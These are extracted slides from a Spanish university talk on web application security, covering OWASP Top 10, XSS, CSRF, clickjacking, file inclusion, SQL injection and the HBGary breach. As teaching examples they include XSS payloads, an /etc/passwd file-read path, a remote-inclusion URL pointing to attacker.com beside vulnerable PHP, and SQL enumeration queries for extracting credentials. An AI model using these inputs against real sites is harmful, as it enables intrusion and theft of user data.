Diapositivas de la charla "Seguridad en Aplicaciones Web" durante las Jornadas del "IV Obradoiro de Criptografía, Privacidade e Seguridade" en la Facultad de Informática de A Coruña
3. You are sexy and they know it!!
SPAM
Robo información
Distribución Malware
Botnets
Viagra
4. OWASP Top 10 - 2010
Guia de prácticas y recomendaciones que deben
tenerse en cuenta en el desarrollo seguro de
aplicaciones web.
Aparecen las 10 técnicas más explotadas a la hora
de hackear o atacar una aplicación web.
6. Cross Site Scripting (XSS)
Técnica de inyección de comandos en el lado del
cliente (navegador)
Lo que se busca es vulnerar al cliente, con el cuál
sería posible llegar a vulnerar el servidor
Se inyecta código en parámetros que son recibidos
por la Aplicación Web Y que son entregados
directamente al cliente, donde se ejecutarán
Al ejecutarse en el navegador se tiene acceso al
100% de los datos de sesión del cliente dando
lugar a un montón de ataques distintos
9. XSS - Reflected
El código no está en los repositorios de datos
La inyección va en un parámetro de la url por GET
El usuario tiene que hacer clic en un enlace
preparado
http://example.com=buscar.php=
<script>alert('XSS');</script>
10. XSS - Persistent
La inyección se almacena dentro de los repositorios
de datos del servidor
Cuando alguien acceda a ese contenido se
ejecutará (no hace falta que el usuario haga clic)
11. XSS - Consecuencias
Secuestrar el navegador de otro usuario, robo de
sesión
Capturar información sensible que vean los usuarios
Defacement, phishing...
Envío dirigidos de exploits basados en navegador,
BlackHole
Escaneo de puertos de equipos internos (en la red
del usuario)
13. XSS - CSRF
Cross Site Request Forgery
Permite realizar acciones en la aplicación web
vulnerada como si fuese el propio usuario el que
las realiza
http://example.com?
buscar.php=<script>document.location=
'traspasar_jugador.php?
player=Benzema&friend=Renata'</script>
14. XSS - Clickjacking
Inyección de iframe
Se carga una web (la ve el usuario)
Se pone capa transparente encima
El usuario hace clic en la web …
… pero antes en la capa transparente :)
Robo de clics => Autorizar acciones
Activar webcam, likejacking, tapjacking, ...
16. Local File Inclusion (LFI)
El atacante intentará leer archivos a los que no tiene acceso
http://example.com/index.php?module=/etc/passwd
17. Remote File Inclusion (RFI)
Se inyecta un script (php, jsp, aspx, …) en la
aplicación vulnerable
Webshell
Control del servidor
http://example.com/index.php?
module=http://attacker.com/script.php
<?php require_once $_GET['module']; ?>
20. SQL Injection - Objetivos
Suplantación de roles (usuario a admin)
Acceso a zonas no autorizadas
Información confidencial
Leer archivos del servidor (/etc/passwd,
/etc/shadow)
Infección del site
…
21. SQL Injection - Lilupophilupop
Buscaba vulnerabilidades SQL Injection en dominios
bajo ASP o Coldfusion con base de datos
Microsoft SQL Server
Más de 1,000.000 de dominios afectados utilizados
para distribuir malware, redirigiendo a los usuarios
con XSS Persistente
23. SQL Injection - HBGary
http://www.hbgaryfederal.com/pages.php?pageNav=2&page=27
Listado de usuario con claves hasheadas
PERO Aaron Barr tenía letras minúsculas y números
únicamente, por lo tanto...
Acceso al CMS
Reseteo claves correo a Aaron Barr
Ingeniería Social => acceso correo => SSH
NOTA: Aaron Barr utilizaba la
misma clave para varios servicios
24. SQL Injection - DEMO
Buscar la vulnerabilidad
1. Nº de columnas
2. Tablas y BBDD
3. Columnas de tabla usuarios
4. Emails y passwords
5. Login :)
25. SQL Injection - MySQL
SELECT schema_name FROM
information_schema.SCHEMATA
SELECT table_schema,table_name FROM
information_schema.TABLES
SELECT column_name,column_type FROM
information_schema.COLUMNS WHERE
table_name='%s' AND table_schema='%s'